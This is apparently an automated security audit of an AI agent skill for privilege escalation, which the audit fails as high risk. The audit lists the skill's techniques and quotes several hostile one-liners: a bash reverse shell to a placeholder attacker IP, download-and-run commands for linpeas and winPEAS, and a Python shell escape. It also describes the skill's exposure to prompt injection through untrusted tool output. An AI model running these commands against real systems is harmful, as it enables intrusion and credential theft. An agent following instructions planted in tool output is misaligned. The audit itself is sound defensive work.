privilege-escalation

Fail

Audited by Gen Agent Trust Hub on Sep 19, 2026

Risk Level: HIGHCREDENTIALS_UNSAFEEXTERNAL_DOWNLOADSREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONPRIVILEGE_ESCALATIONPERSISTENCEINDIRECT_PROMPT_INJECTIONDYNAMIC_EXECUTION
Full Analysis
  • [PRIVILEGE_ESCALATION]: The skill is entirely dedicated to escalating privileges from a low-privilege user to root (Linux) or SYSTEM (Windows). It documents techniques including:
  • SUID/GUID binary exploitation via GTFOBins.
  • Sudo misconfiguration abuse (NOPASSWD, LD_PRELOAD, wildcard injection).
  • Linux capability exploitation (cap_setuid, cap_dac_override).
  • Windows token impersonation (Potato attacks: JuicyPotato, PrintSpoofer, GodPotato).
  • Service misconfigurations (unquoted service paths, weak permissions) and DLL hijacking.
  • User Account Control (UAC) bypasses.
  • [DATA_EXFILTRATION]: The skill contains payloads and instructions to access highly sensitive files and exfiltrate data, including:
  • Reading /etc/shadow, SAM/SYSTEM registry hives, and private SSH keys (id_rsa, *.pem).
  • Execution of reverse shell payloads (bash -i >& /dev/tcp/attacker_ip/4444 0>&1) to transmit shell access to external IPs.
  • Techniques to capture plaintext credentials from network traffic via tcpdump.
  • [REMOTE_CODE_EXECUTION]: The skill provides patterns for downloading and executing remote scripts from arbitrary attacker-controlled servers:
  • wget http://attacker_ip:8000/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh.
  • certutil -urlcache -split -f http://attacker_ip:8000/winPEAS.exe.
  • Piped remote execution patterns (curl | bash) for various exploitation scripts.
  • [CREDENTIALS_UNSAFE]: Instructions cover harvesting stored credentials from the Windows Credential Manager, registry keys, and unattended installation files (Unattend.xml). It also details overwriting /etc/passwd or /etc/shadow with custom password hashes to gain root access.
  • [EXTERNAL_DOWNLOADS]: The skill references and fetches tools from various sources, including GitHub repositories (carlospolop/PEASS-ng, DominicBreuker/pspy, hfiref0x/UACME) and arbitrary user-specified IPs.
  • [PERSISTENCE]: The skill documents persistence mechanisms, including hijacking root-owned cron jobs and modifying Windows Registry Run keys or AutoRun programs to maintain elevated access.
  • [DYNAMIC_EXECUTION]: The skill utilizes runtime compilation and dynamic code execution to bypass security controls, such as compiling C exploits on the target (gcc -o exploit exploit.c) and executing shell escapes via language interpreters (python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")').
  • [INDIRECT_PROMPT_INJECTION]: The skill creates an attack surface by ingesting and processing large amounts of untrusted data from system enumeration tools (linpeas, winpeas, pspy) without specified sanitization or boundary markers, while maintaining high-privilege execution capabilities.
  • Ingestion points: Tool outputs from linpeas.sh, winPEAS.exe, and pspy64 (SKILL.md, guides).
  • Boundary markers: None identified; instructions do not contain markers to prevent the agent from following instructions embedded in the tool outputs.
  • Capability inventory: Full shell access (bash), file-write access (Write), and network access (WebFetch) are allowed tools.
  • Sanitization: None present; the skill treats tool output as raw data for analysis.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Sep 19, 2026, 04:36 PM